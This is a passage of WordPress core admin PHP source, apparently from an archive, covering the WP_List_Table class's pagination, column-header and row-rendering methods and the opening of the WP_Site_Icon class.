					'<span class="screen-reader-text">%s</span>' .
				'</span>',
				$approved_comments_number,
				$pending_comments ? $approved_phrase : $approved_only_phrase
			);
		} elseif ( $approved_comments ) {
			// Link the comment bubble to approved comments.
			printf(
				'<a href="%s" class="post-com-count post-com-count-approved">' .
					'<span class="comment-count-approved" aria-hidden="true">%s</span>' .
					'<span class="screen-reader-text">%s</span>' .
				'</a>',
				esc_url(
					add_query_arg(
						array(
							'p'              => $post_id,
							'comment_status' => 'approved',
						),
						admin_url( 'edit-comments.php' )
					)
				),
				$approved_comments_number,
				$pending_comments ? $approved_phrase : $approved_only_phrase
			);
		} else {
			// Don't link the comment bubble when there are no approved comments.
			printf(
				'<span class="post-com-count post-com-count-no-comments">' .
					'<span class="comment-count comment-count-no-comments" aria-hidden="true">%s</span>' .
					'<span class="screen-reader-text">%s</span>' .
				'</span>',
				$approved_comments_number,
				$pending_comments ?
				/* translators: Hidden accessibility text. */
				__( 'No approved comments' ) :
				/* translators: Hidden accessibility text. */
				__( 'No comments' )
			);
		}

		if ( $pending_comments ) {
			printf(
				'<a href="%s" class="post-com-count post-com-count-pending">' .
					'<span class="comment-count-pending" aria-hidden="true">%s</span>' .
					'<span class="screen-reader-text">%s</span>' .
				'</a>',
				esc_url(
					add_query_arg(
						array(
							'p'              => $post_id,
							'comment_status' => 'moderated',
						),
						admin_url( 'edit-comments.php' )
					)
				),
				$pending_comments_number,
				$pending_phrase
			);
		} else {
			printf(
				'<span class="post-com-count post-com-count-pending post-com-count-no-pending">' .
					'<span class="comment-count comment-count-no-pending" aria-hidden="true">%s</span>' .
					'<span class="screen-reader-text">%s</span>' .
				'</span>',
				$pending_comments_number,
				$approved_comments ?
				/* translators: Hidden accessibility text. */
				__( 'No pending comments' ) :
				/* translators: Hidden accessibility text. */
				__( 'No comments' )
			);
		}
	}

	/**
	 * Gets the current page number.
	 *
	 * @since 3.1.0
	 *
	 * @return int
	 */
	public function get_pagenum() {
		$pagenum = isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 0;

		if ( isset( $this->_pagination_args['total_pages'] ) && $pagenum > $this->_pagination_args['total_pages'] ) {
			$pagenum = $this->_pagination_args['total_pages'];
		}

		return max( 1, $pagenum );
	}

	/**
	 * Gets the number of items to display on a single page.
	 *
	 * @since 3.1.0
	 *
	 * @param string $option        User option name.
	 * @param int    $default_value Optional. The number of items to display. Default 20.
	 * @return int
	 */
	protected function get_items_per_page( $option, $default_value = 20 ) {
		$per_page = (int) get_user_option( $option );
		if ( empty( $per_page ) || $per_page < 1 ) {
			$per_page = $default_value;
		}

		/**
		 * Filters the number of items to be displayed on each page of the list table.
		 *
		 * The dynamic hook name, `$option`, refers to the `per_page` option depending
		 * on the type of list table in use. Possible filter names include:
		 *
		 *  - `edit_comments_per_page`
		 *  - `sites_network_per_page`
		 *  - `site_themes_network_per_page`
		 *  - `themes_network_per_page'`
		 *  - `users_network_per_page`
		 *  - `edit_post_per_page`
		 *  - `edit_page_per_page'`
		 *  - `edit_{$post_type}_per_page`
		 *  - `edit_post_tag_per_page`
		 *  - `edit_category_per_page`
		 *  - `edit_{$taxonomy}_per_page`
		 *  - `site_users_network_per_page`
		 *  - `users_per_page`
		 *
		 * @since 2.9.0
		 *
		 * @param int $per_page Number of items to be displayed. Default 20.
		 */
		return (int) apply_filters( "{$option}", $per_page );
	}

	/**
	 * Displays the pagination.
	 *
	 * @since 3.1.0
	 *
	 * @param string $which
	 */
	protected function pagination( $which ) {
		if ( empty( $this->_pagination_args ) ) {
			return;
		}

		$total_items     = $this->_pagination_args['total_items'];
		$total_pages     = $this->_pagination_args['total_pages'];
		$infinite_scroll = false;
		if ( isset( $this->_pagination_args['infinite_scroll'] ) ) {
			$infinite_scroll = $this->_pagination_args['infinite_scroll'];
		}

		if ( 'top' === $which && $total_pages > 1 ) {
			$this->screen->render_screen_reader_content( 'heading_pagination' );
		}

		$output = '<span class="displaying-num">' . sprintf(
			/* translators: %s: Number of items. */
			_n( '%s item', '%s items', $total_items ),
			number_format_i18n( $total_items )
		) . '</span>';

		$current              = $this->get_pagenum();
		$removable_query_args = wp_removable_query_args();

		$current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );

		$current_url = remove_query_arg( $removable_query_args, $current_url );

		$page_links = array();

		$total_pages_before = '<span class="paging-input">';
		$total_pages_after  = '</span></span>';

		$disable_first = false;
		$disable_last  = false;
		$disable_prev  = false;
		$disable_next  = false;

		if ( 1 == $current ) {
			$disable_first = true;
			$disable_prev  = true;
		}
		if ( $total_pages == $current ) {
			$disable_last = true;
			$disable_next = true;
		}

		if ( $disable_first ) {
			$page_links[] = '<span class="tablenav-pages-navspan button disabled" aria-hidden="true">&laquo;</span>';
		} else {
			$page_links[] = sprintf(
				"<a class='first-page button' href='%s'>" .
					"<span class='screen-reader-text'>%s</span>" .
					"<span aria-hidden='true'>%s</span>" .
				'</a>',
				esc_url( remove_query_arg( 'paged', $current_url ) ),
				/* translators: Hidden accessibility text. */
				__( 'First page' ),
				'&laquo;'
			);
		}

		if ( $disable_prev ) {
			$page_links[] = '<span class="tablenav-pages-navspan button disabled" aria-hidden="true">&lsaquo;</span>';
		} else {
			$page_links[] = sprintf(
				"<a class='prev-page button' href='%s'>" .
					"<span class='screen-reader-text'>%s</span>" .
					"<span aria-hidden='true'>%s</span>" .
				'</a>',
				esc_url( add_query_arg( 'paged', max( 1, $current - 1 ), $current_url ) ),
				/* translators: Hidden accessibility text. */
				__( 'Previous page' ),
				'&lsaquo;'
			);
		}

		if ( 'bottom' === $which ) {
			$html_current_page  = $current;
			$total_pages_before = sprintf(
				'<span class="screen-reader-text">%s</span>' .
				'<span id="table-paging" class="paging-input">' .
				'<span class="tablenav-paging-text">',
				/* translators: Hidden accessibility text. */
				__( 'Current Page' )
			);
		} else {
			$html_current_page = sprintf(
				'<label for="current-page-selector" class="screen-reader-text">%s</label>' .
				"<input class='current-page' id='current-page-selector' type='text'
					name='paged' value='%s' size='%d' aria-describedby='table-paging' />" .
				"<span class='tablenav-paging-text'>",
				/* translators: Hidden accessibility text. */
				__( 'Current Page' ),
				$current,
				strlen( $total_pages )
			);
		}

		$html_total_pages = sprintf( "<span class='total-pages'>%s</span>", number_format_i18n( $total_pages ) );

		$page_links[] = $total_pages_before . sprintf(
			/* translators: 1: Current page, 2: Total pages. */
			_x( '%1$s of %2$s', 'paging' ),
			$html_current_page,
			$html_total_pages
		) . $total_pages_after;

		if ( $disable_next ) {
			$page_links[] = '<span class="tablenav-pages-navspan button disabled" aria-hidden="true">&rsaquo;</span>';
		} else {
			$page_links[] = sprintf(
				"<a class='next-page button' href='%s'>" .
					"<span class='screen-reader-text'>%s</span>" .
					"<span aria-hidden='true'>%s</span>" .
				'</a>',
				esc_url( add_query_arg( 'paged', min( $total_pages, $current + 1 ), $current_url ) ),
				/* translators: Hidden accessibility text. */
				__( 'Next page' ),
				'&rsaquo;'
			);
		}

		if ( $disable_last ) {
			$page_links[] = '<span class="tablenav-pages-navspan button disabled" aria-hidden="true">&raquo;</span>';
		} else {
			$page_links[] = sprintf(
				"<a class='last-page button' href='%s'>" .
					"<span class='screen-reader-text'>%s</span>" .
					"<span aria-hidden='true'>%s</span>" .
				'</a>',
				esc_url( add_query_arg( 'paged', $total_pages, $current_url ) ),
				/* translators: Hidden accessibility text. */
				__( 'Last page' ),
				'&raquo;'
			);
		}

		$pagination_links_class = 'pagination-links';
		if ( ! empty( $infinite_scroll ) ) {
			$pagination_links_class .= ' hide-if-js';
		}
		$output .= "\n<span class='$pagination_links_class'>" . implode( "\n", $page_links ) . '</span>';

		if ( $total_pages ) {
			$page_class = $total_pages < 2 ? ' one-page' : '';
		} else {
			$page_class = ' no-pages';
		}
		$this->_pagination = "<div class='tablenav-pages{$page_class}'>$output</div>";

		echo $this->_pagination;
	}

	/**
	 * Gets a list of columns.
	 *
	 * The format is:
	 * - `'internal-name' => 'Title'`
	 *
	 * @since 3.1.0
	 * @abstract
	 *
	 * @return array
	 */
	public function get_columns() {
		die( 'function WP_List_Table::get_columns() must be overridden in a subclass.' );
	}

	/**
	 * Gets a list of sortable columns.
	 *
	 * The format is:
	 * - `'internal-name' => 'orderby'`
	 * - `'internal-name' => array( 'orderby', bool, 'abbr', 'orderby-text', 'initially-sorted-column-order' )` -
	 * - `'internal-name' => array( 'orderby', 'asc' )` - The second element sets the initial sorting order.
	 * - `'internal-name' => array( 'orderby', true )`  - The second element makes the initial order descending.
	 *
	 * In the second format, passing true as second parameter will make the initial
	 * sorting order be descending. Following parameters add a short column name to
	 * be used as 'abbr' attribute, a translatable string for the current sorting,
	 * and the initial order for the initial sorted column, 'asc' or 'desc' (default: false).
	 *
	 * @since 3.1.0
	 * @since 6.3.0 Added 'abbr', 'orderby-text' and 'initially-sorted-column-order'.
	 *
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array();
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, an empty string.
	 */
	protected function get_default_primary_column_name() {
		$columns = $this->get_columns();
		$column  = '';

		if ( empty( $columns ) ) {
			return $column;
		}

		/*
		 * We need a primary defined so responsive views show something,
		 * so let's fall back to the first non-checkbox column.
		 */
		foreach ( $columns as $col => $column_name ) {
			if ( 'cb' === $col ) {
				continue;
			}

			$column = $col;
			break;
		}

		return $column;
	}

	/**
	 * Gets the name of the primary column.
	 *
	 * Public wrapper for WP_List_Table::get_default_primary_column_name().
	 *
	 * @since 4.4.0
	 *
	 * @return string Name of the default primary column.
	 */
	public function get_primary_column() {
		return $this->get_primary_column_name();
	}

	/**
	 * Gets the name of the primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string The name of the primary column.
	 */
	protected function get_primary_column_name() {
		$columns = get_column_headers( $this->screen );
		$default = $this->get_default_primary_column_name();

		/*
		 * If the primary column doesn't exist,
		 * fall back to the first non-checkbox column.
		 */
		if ( ! isset( $columns[ $default ] ) ) {
			$default = self::get_default_primary_column_name();
		}

		/**
		 * Filters the name of the primary column for the current list table.
		 *
		 * @since 4.3.0
		 *
		 * @param string $default Column name default for the specific list table, e.g. 'name'.
		 * @param string $context Screen ID for specific list table, e.g. 'plugins'.
		 */
		$column = apply_filters( 'list_table_primary_column', $default, $this->screen->id );

		if ( empty( $column ) || ! isset( $columns[ $column ] ) ) {
			$column = $default;
		}

		return $column;
	}

	/**
	 * Gets a list of all, hidden, and sortable columns, with filter applied.
	 *
	 * @since 3.1.0
	 *
	 * @return array
	 */
	protected function get_column_info() {
		// $_column_headers is already set / cached.
		if (
			isset( $this->_column_headers ) &&
			is_array( $this->_column_headers )
		) {
			/*
			 * Backward compatibility for `$_column_headers` format prior to WordPress 4.3.
			 *
			 * In WordPress 4.3 the primary column name was added as a fourth item in the
			 * column headers property. This ensures the primary column name is included
			 * in plugins setting the property directly in the three item format.
			 */
			if ( 4 === count( $this->_column_headers ) ) {
				return $this->_column_headers;
			}

			$column_headers = array( array(), array(), array(), $this->get_primary_column_name() );
			foreach ( $this->_column_headers as $key => $value ) {
				$column_headers[ $key ] = $value;
			}

			$this->_column_headers = $column_headers;

			return $this->_column_headers;
		}

		$columns = get_column_headers( $this->screen );
		$hidden  = get_hidden_columns( $this->screen );

		$sortable_columns = $this->get_sortable_columns();
		/**
		 * Filters the list table sortable columns for a specific screen.
		 *
		 * The dynamic portion of the hook name, `$this->screen->id`, refers
		 * to the ID of the current screen.
		 *
		 * @since 3.1.0
		 *
		 * @param array $sortable_columns An array of sortable columns.
		 */
		$_sortable = apply_filters( "manage_{$this->screen->id}_sortable_columns", $sortable_columns );

		$sortable = array();
		foreach ( $_sortable as $id => $data ) {
			if ( empty( $data ) ) {
				continue;
			}

			$data = (array) $data;
			// Descending initial sorting.
			if ( ! isset( $data[1] ) ) {
				$data[1] = false;
			}
			// Current sorting translatable string.
			if ( ! isset( $data[2] ) ) {
				$data[2] = '';
			}
			// Initial view sorted column and asc/desc order, default: false.
			if ( ! isset( $data[3] ) ) {
				$data[3] = false;
			}
			// Initial order for the initial sorted column, default: false.
			if ( ! isset( $data[4] ) ) {
				$data[4] = false;
			}

			$sortable[ $id ] = $data;
		}

		$primary               = $this->get_primary_column_name();
		$this->_column_headers = array( $columns, $hidden, $sortable, $primary );

		return $this->_column_headers;
	}

	/**
	 * Returns the number of visible columns.
	 *
	 * @since 3.1.0
	 *
	 * @return int
	 */
	public function get_column_count() {
		list ( $columns, $hidden ) = $this->get_column_info();
		$hidden                    = array_intersect( array_keys( $columns ), array_filter( $hidden ) );
		return count( $columns ) - count( $hidden );
	}

	/**
	 * Prints column headers, accounting for hidden and sortable columns.
	 *
	 * @since 3.1.0
	 *
	 * @param bool $with_id Whether to set the ID attribute or not
	 */
	public function print_column_headers( $with_id = true ) {
		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();

		$current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
		$current_url = remove_query_arg( 'paged', $current_url );

		// When users click on a column header to sort by other columns.
		if ( isset( $_GET['orderby'] ) ) {
			$current_orderby = $_GET['orderby'];
			// In the initial view there's no orderby parameter.
		} else {
			$current_orderby = '';
		}

		// Not in the initial view and descending order.
		if ( isset( $_GET['order'] ) && 'desc' === $_GET['order'] ) {
			$current_order = 'desc';
		} else {
			// The initial view is not always 'asc', we'll take care of this below.
			$current_order = 'asc';
		}

		if ( ! empty( $columns['cb'] ) ) {
			static $cb_counter = 1;
			$columns['cb']     = '<input id="cb-select-all-' . $cb_counter . '" type="checkbox" />
			<label for="cb-select-all-' . $cb_counter . '">' .
				'<span class="screen-reader-text">' .
					/* translators: Hidden accessibility text. */
					__( 'Select All' ) .
				'</span>' .
				'</label>';
			++$cb_counter;
		}

		foreach ( $columns as $column_key => $column_display_name ) {
			$class          = array( 'manage-column', "column-$column_key" );
			$aria_sort_attr = '';
			$abbr_attr      = '';
			$order_text     = '';

			if ( in_array( $column_key, $hidden, true ) ) {
				$class[] = 'hidden';
			}

			if ( 'cb' === $column_key ) {
				$class[] = 'check-column';
			} elseif ( in_array( $column_key, array( 'posts', 'comments', 'links' ), true ) ) {
				$class[] = 'num';
			}

			if ( $column_key === $primary ) {
				$class[] = 'column-primary';
			}

			if ( isset( $sortable[ $column_key ] ) ) {
				$orderby       = isset( $sortable[ $column_key ][0] ) ? $sortable[ $column_key ][0] : '';
				$desc_first    = isset( $sortable[ $column_key ][1] ) ? $sortable[ $column_key ][1] : false;
				$abbr          = isset( $sortable[ $column_key ][2] ) ? $sortable[ $column_key ][2] : '';
				$orderby_text  = isset( $sortable[ $column_key ][3] ) ? $sortable[ $column_key ][3] : '';
				$initial_order = isset( $sortable[ $column_key ][4] ) ? $sortable[ $column_key ][4] : '';

				/*
				 * We're in the initial view and there's no $_GET['orderby'] then check if the
				 * initial sorting information is set in the sortable columns and use that.
				 */
				if ( '' === $current_orderby && $initial_order ) {
					// Use the initially sorted column $orderby as current orderby.
					$current_orderby = $orderby;
					// Use the initially sorted column asc/desc order as initial order.
					$current_order = $initial_order;
				}

				/*
				 * True in the initial view when an initial orderby is set via get_sortable_columns()
				 * and true in the sorted views when the actual $_GET['orderby'] is equal to $orderby.
				 */
				if ( $current_orderby === $orderby ) {
					// The sorted column. The `aria-sort` attribute must be set only on the sorted column.
					if ( 'asc' === $current_order ) {
						$order          = 'desc';
						$aria_sort_attr = ' aria-sort="ascending"';
					} else {
						$order          = 'asc';
						$aria_sort_attr = ' aria-sort="descending"';
					}

					$class[] = 'sorted';
					$class[] = $current_order;
				} else {
					// The other sortable columns.
					$order = strtolower( $desc_first );

					if ( ! in_array( $order, array( 'desc', 'asc' ), true ) ) {
						$order = $desc_first ? 'desc' : 'asc';
					}

					$class[] = 'sortable';
					$class[] = 'desc' === $order ? 'asc' : 'desc';

					/* translators: Hidden accessibility text. */
					$asc_text = __( 'Sort ascending.' );
					/* translators: Hidden accessibility text. */
					$desc_text  = __( 'Sort descending.' );
					$order_text = 'asc' === $order ? $asc_text : $desc_text;
				}

				if ( '' !== $order_text ) {
					$order_text = ' <span class="screen-reader-text">' . $order_text . '</span>';
				}

				// Print an 'abbr' attribute if a value is provided via get_sortable_columns().
				$abbr_attr = $abbr ? ' abbr="' . esc_attr( $abbr ) . '"' : '';

				$column_display_name = sprintf(
					'<a href="%1$s">' .
						'<span>%2$s</span>' .
						'<span class="sorting-indicators">' .
							'<span class="sorting-indicator asc" aria-hidden="true"></span>' .
							'<span class="sorting-indicator desc" aria-hidden="true"></span>' .
						'</span>' .
						'%3$s' .
					'</a>',
					esc_url( add_query_arg( compact( 'orderby', 'order' ), $current_url ) ),
					$column_display_name,
					$order_text
				);
			}

			$tag   = ( 'cb' === $column_key ) ? 'td' : 'th';
			$scope = ( 'th' === $tag ) ? 'scope="col"' : '';
			$id    = $with_id ? "id='$column_key'" : '';

			if ( ! empty( $class ) ) {
				$class = "class='" . implode( ' ', $class ) . "'";
			}

			echo "<$tag $scope $id $class $aria_sort_attr $abbr_attr>$column_display_name</$tag>";
		}
	}

	/**
	 * Print a table description with information about current sorting and order.
	 *
	 * For the table initial view, information about initial orderby and order
	 * should be provided via get_sortable_columns().
	 *
	 * @since 6.3.0
	 * @access public
	 */
	public function print_table_description() {
		list( $columns, $hidden, $sortable ) = $this->get_column_info();

		if ( empty( $sortable ) ) {
			return;
		}

		// When users click on a column header to sort by other columns.
		if ( isset( $_GET['orderby'] ) ) {
			$current_orderby = $_GET['orderby'];
			// In the initial view there's no orderby parameter.
		} else {
			$current_orderby = '';
		}

		// Not in the initial view and descending order.
		if ( isset( $_GET['order'] ) && 'desc' === $_GET['order'] ) {
			$current_order = 'desc';
		} else {
			// The initial view is not always 'asc', we'll take care of this below.
			$current_order = 'asc';
		}

		foreach ( array_keys( $columns ) as $column_key ) {

			if ( isset( $sortable[ $column_key ] ) ) {
				$orderby       = isset( $sortable[ $column_key ][0] ) ? $sortable[ $column_key ][0] : '';
				$desc_first    = isset( $sortable[ $column_key ][1] ) ? $sortable[ $column_key ][1] : false;
				$abbr          = isset( $sortable[ $column_key ][2] ) ? $sortable[ $column_key ][2] : '';
				$orderby_text  = isset( $sortable[ $column_key ][3] ) ? $sortable[ $column_key ][3] : '';
				$initial_order = isset( $sortable[ $column_key ][4] ) ? $sortable[ $column_key ][4] : '';

				if ( ! is_string( $orderby_text ) || '' === $orderby_text ) {
					return;
				}
				/*
				 * We're in the initial view and there's no $_GET['orderby'] then check if the
				 * initial sorting information is set in the sortable columns and use that.
				 */
				if ( '' === $current_orderby && $initial_order ) {
					// Use the initially sorted column $orderby as current orderby.
					$current_orderby = $orderby;
					// Use the initially sorted column asc/desc order as initial order.
					$current_order = $initial_order;
				}

				/*
				 * True in the initial view when an initial orderby is set via get_sortable_columns()
				 * and true in the sorted views when the actual $_GET['orderby'] is equal to $orderby.
				 */
				if ( $current_orderby === $orderby ) {
					/* translators: Hidden accessibility text. */
					$asc_text = __( 'Ascending.' );
					/* translators: Hidden accessibility text. */
					$desc_text  = __( 'Descending.' );
					$order_text = 'asc' === $current_order ? $asc_text : $desc_text;
					echo '<caption class="screen-reader-text">' . $orderby_text . ' ' . $order_text . '</caption>';

					return;
				}
			}
		}
	}

	/**
	 * Displays the table.
	 *
	 * @since 3.1.0
	 */
	public function display() {
		$singular = $this->_args['singular'];

		$this->display_tablenav( 'top' );

		$this->screen->render_screen_reader_content( 'heading_list' );
		?>
<table class="wp-list-table <?php echo implode( ' ', $this->get_table_classes() ); ?>">
		<?php $this->print_table_description(); ?>
	<thead>
	<tr>
		<?php $this->print_column_headers(); ?>
	</tr>
	</thead>

	<tbody id="the-list"
		<?php
		if ( $singular ) {
			echo " data-wp-lists='list:$singular'";
		}
		?>
		>
		<?php $this->display_rows_or_placeholder(); ?>
	</tbody>

	<tfoot>
	<tr>
		<?php $this->print_column_headers( false ); ?>
	</tr>
	</tfoot>

</table>
		<?php
		$this->display_tablenav( 'bottom' );
	}

	/**
	 * Gets a list of CSS classes for the WP_List_Table table tag.
	 *
	 * @since 3.1.0
	 *
	 * @return string[] Array of CSS classes for the table tag.
	 */
	protected function get_table_classes() {
		$mode = get_user_setting( 'posts_list_mode', 'list' );

		$mode_class = esc_attr( 'table-view-' . $mode );

		return array( 'widefat', 'fixed', 'striped', $mode_class, $this->_args['plural'] );
	}

	/**
	 * Generates the table navigation above or below the table
	 *
	 * @since 3.1.0
	 * @param string $which
	 */
	protected function display_tablenav( $which ) {
		if ( 'top' === $which ) {
			wp_nonce_field( 'bulk-' . $this->_args['plural'] );
		}
		?>
	<div class="tablenav <?php echo esc_attr( $which ); ?>">

		<?php if ( $this->has_items() ) : ?>
		<div class="alignleft actions bulkactions">
			<?php $this->bulk_actions( $which ); ?>
		</div>
			<?php
		endif;
		$this->extra_tablenav( $which );
		$this->pagination( $which );
		?>

		<br class="clear" />
	</div>
		<?php
	}

	/**
	 * Displays extra controls between bulk actions and pagination.
	 *
	 * @since 3.1.0
	 *
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {}

	/**
	 * Generates the tbody element for the list table.
	 *
	 * @since 3.1.0
	 */
	public function display_rows_or_placeholder() {
		if ( $this->has_items() ) {
			$this->display_rows();
		} else {
			echo '<tr class="no-items"><td class="colspanchange" colspan="' . $this->get_column_count() . '">';
			$this->no_items();
			echo '</td></tr>';
		}
	}

	/**
	 * Generates the table rows.
	 *
	 * @since 3.1.0
	 */
	public function display_rows() {
		foreach ( $this->items as $item ) {
			$this->single_row( $item );
		}
	}

	/**
	 * Generates content for a single row of the table.
	 *
	 * @since 3.1.0
	 *
	 * @param object|array $item The current item
	 */
	public function single_row( $item ) {
		echo '<tr>';
		$this->single_row_columns( $item );
		echo '</tr>';
	}

	/**
	 * @param object|array $item
	 * @param string $column_name
	 */
	protected function column_default( $item, $column_name ) {}

	/**
	 * @param object|array $item
	 */
	protected function column_cb( $item ) {}

	/**
	 * Generates the columns for a single row of the table.
	 *
	 * @since 3.1.0
	 *
	 * @param object|array $item The current item.
	 */
	protected function single_row_columns( $item ) {
		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();

		foreach ( $columns as $column_name => $column_display_name ) {
			$classes = "$column_name column-$column_name";
			if ( $primary === $column_name ) {
				$classes .= ' has-row-actions column-primary';
			}

			if ( in_array( $column_name, $hidden, true ) ) {
				$classes .= ' hidden';
			}

			/*
			 * Comments column uses HTML in the display name with screen reader text.
			 * Strip tags to get closer to a user-friendly string.
			 */
			$data = 'data-colname="' . esc_attr( wp_strip_all_tags( $column_display_name ) ) . '"';

			$attributes = "class='$classes' $data";

			if ( 'cb' === $column_name ) {
				echo '<th scope="row" class="check-column">';
				echo $this->column_cb( $item );
				echo '</th>';
			} elseif ( method_exists( $this, '_column_' . $column_name ) ) {
				echo call_user_func(
					array( $this, '_column_' . $column_name ),
					$item,
					$classes,
					$data,
					$primary
				);
			} elseif ( method_exists( $this, 'column_' . $column_name ) ) {
				echo "<td $attributes>";
				echo call_user_func( array( $this, 'column_' . $column_name ), $item );
				echo $this->handle_row_actions( $item, $column_name, $primary );
				echo '</td>';
			} else {
				echo "<td $attributes>";
				echo $this->column_default( $item, $column_name );
				echo $this->handle_row_actions( $item, $column_name, $primary );
				echo '</td>';
			}
		}
	}

	/**
	 * Generates and display row actions links for the list table.
	 *
	 * @since 4.3.0
	 *
	 * @param object|array $item        The item being acted upon.
	 * @param string       $column_name Current column name.
	 * @param string       $primary     Primary column name.
	 * @return string The row actions HTML, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		return $column_name === $primary ? '<button type="button" class="toggle-row"><span class="screen-reader-text">' .
			/* translators: Hidden accessibility text. */
			__( 'Show more details' ) .
		'</span></button>' : '';
	}

	/**
	 * Handles an incoming ajax request (called from admin-ajax.php)
	 *
	 * @since 3.1.0
	 */
	public function ajax_response() {
		$this->prepare_items();

		ob_start();
		if ( ! empty( $_REQUEST['no_placeholder'] ) ) {
			$this->display_rows();
		} else {
			$this->display_rows_or_placeholder();
		}

		$rows = ob_get_clean();

		$response = array( 'rows' => $rows );

		if ( isset( $this->_pagination_args['total_items'] ) ) {
			$response['total_items_i18n'] = sprintf(
				/* translators: Number of items. */
				_n( '%s item', '%s items', $this->_pagination_args['total_items'] ),
				number_format_i18n( $this->_pagination_args['total_items'] )
			);
		}
		if ( isset( $this->_pagination_args['total_pages'] ) ) {
			$response['total_pages']      = $this->_pagination_args['total_pages'];
			$response['total_pages_i18n'] = number_format_i18n( $this->_pagination_args['total_pages'] );
		}

		die( wp_json_encode( $response ) );
	}

	/**
	 * Sends required variables to JavaScript land.
	 *
	 * @since 3.1.0
	 */
	public function _js_vars() {
		$args = array(
			'class'  => get_class( $this ),
			'screen' => array(
				'id'   => $this->screen->id,
				'base' => $this->screen->base,
			),
		);

		printf( "<script type='text/javascript'>list_args = %s;</script>\n", wp_json_encode( $args ) );
	}
}
class-wp-site-icon.php000064400000014236150275632050010711 0ustar00<?php
/**
 * Administration API: WP_Site_Icon class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.3.0
 */

/**
 * Core class used to implement site icon functionality.
 *
 * @since 4.3.0
 */
#[AllowDynamicProperties]
class WP_Site_Icon {

	/**
	 * The minimum size of the site icon.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $min_size = 512;

	/**
	 * The size to which to crop the image so that we can display it in the UI nicely.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $page_crop = 512;

	/**
	 * List of site icon sizes.
	 *
	 * @since 4.3.0
	 * @var int[]
	 */
	public $site_icon_sizes = array(
		/*
		 * Square, medium sized tiles for IE11+.
		 *
		 * See https://msdn.microsoft.com/library/dn455106(v=vs.85).aspx
		 */
		270,

		/*
		 * App icon for Android/Chrome.
		 *
		 * @link https://developers.google.com/web/updates/2014/11/Support-for-theme-color-in-Chrome-39-for-Android
		 * @link https://developer.chrome.com/multidevice/android/installtohomescreen
		 */
		192,

		/*
		 * App icons up to iPhone 6 Plus.
		 *
		 * See https://developer.apple.com/library/prerelease/ios/documentation/UserExperience/Conceptual/MobileHIG/IconMatrix.html
		 */
		180,

		// Our regular Favicon.
		32,
	);

	/**
	 * Registers actions and filters.
	 *
	 * @since 4.3.0
	 */
	public function __construct() {
		add_action( 'delete_attachment', array( $this, 'delete_attachment_data' ) );
		add_filter( 'get_post_metadata', array( $this, 'get_post_metadata' ), 10, 4 );
	}

	/**
	 * Creates an attachment 'object'.
	 *
	 * @since 4.3.0
	 *
	 * @param string $cropped              Cropped image URL.
	 * @param int    $parent_attachment_id Attachment ID of parent image.
	 * @return array An array with attachment object data.
	 */
	public function create_attachment_object( $cropped, $parent_attachment_id ) {
		$parent     = get_post( $parent_attachment_id );
		$parent_url = wp_get_attachment_url( $parent->ID );
		$url        = str_replace( wp_basename( $parent_url ), wp_basename( $cropped ), $parent_url );

		$size       = wp_getimagesize( $cropped );
		$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';

		$attachment = array(
			'ID'             => $parent_attachment_id,
			'post_title'     => wp_basename( $cropped ),
			'post_content'   => $url,
			'post_mime_type' => $image_type,
			'guid'           => $url,
			'context'        => 'site-icon',
		);

		return $attachment;
	}

	/**
	 * Inserts an attachment.
	 *
	 * @since 4.3.0
	 *
	 * @param array  $attachment An array with attachment object data.
	 * @param string $file       File path of the attached image.
	 * @return int               Attachment ID.
	 */
	public function insert_attachment( $attachment, $file ) {
		$attachment_id = wp_insert_attachment( $attachment, $file );
		$metadata      = wp_generate_attachment_metadata( $attachment_id, $file );

		/**
		 * Filters the site icon attachment metadata.
		 *
		 * @since 4.3.0
		 *
		 * @see wp_generate_attachment_metadata()
		 *
		 * @param array $metadata Attachment metadata.
		 */
		$metadata = apply_filters( 'site_icon_attachment_metadata', $metadata );
		wp_update_attachment_metadata( $attachment_id, $metadata );

		return $attachment_id;
	}

	/**
	 * Adds additional sizes to be made when creating the site icon images.
	 *
	 * @since 4.3.0
	 *
	 * @param array[] $sizes Array of arrays containing information for additional sizes.
	 * @return array[] Array of arrays containing additional image sizes.
	 */
	public function additional_sizes( $sizes = array() ) {
		$only_crop_sizes = array();

		/**
		 * Filters the different dimensions that a site icon is saved in.
		 *
		 * @since 4.3.0
		 *
		 * @param int[] $site_icon_sizes Array of sizes available for the Site Icon.
		 */
		$this->site_icon_sizes = apply_filters( 'site_icon_image_sizes', $this->site_icon_sizes );

		// Use a natural sort of numbers.
		natsort( $this->site_icon_sizes );
		$this->site_icon_sizes = array_reverse( $this->site_icon_sizes );

		// Ensure that we only resize the image into sizes that allow cropping.
		foreach ( $sizes as $name => $size_array ) {
			if ( isset( $size_array['crop'] ) ) {
				$only_crop_sizes[ $name ] = $size_array;
			}
		}

		foreach ( $this->site_icon_sizes as $size ) {
			if ( $size < $this->min_size ) {
				$only_crop_sizes[ 'site_icon-' . $size ] = array(
					'width ' => $size,
					'height' => $size,
					'crop'   => true,
				);
			}
		}

		return $only_crop_sizes;
	}

	/**
	 * Adds Site Icon sizes to the array of image sizes on demand.
	 *
	 * @since 4.3.0
	 *
	 * @param string[] $sizes Array of image size names.
	 * @return string[] Array of image size names.
	 */
	public function intermediate_image_sizes( $sizes = array() ) {
		/** This filter is documented in wp-admin/includes/class-wp-site-icon.php */
		$this->site_icon_sizes = apply_filters( 'site_icon_image_sizes', $this->site_icon_sizes );
		foreach ( $this->site_icon_sizes as $size ) {
			$sizes[] = 'site_icon-' . $size;
		}

		return $sizes;
	}

	/**
	 * Deletes the Site Icon when the image file is deleted.
	 *
	 * @since 4.3.0
	 *
	 * @param int $post_id Attachment ID.
	 */
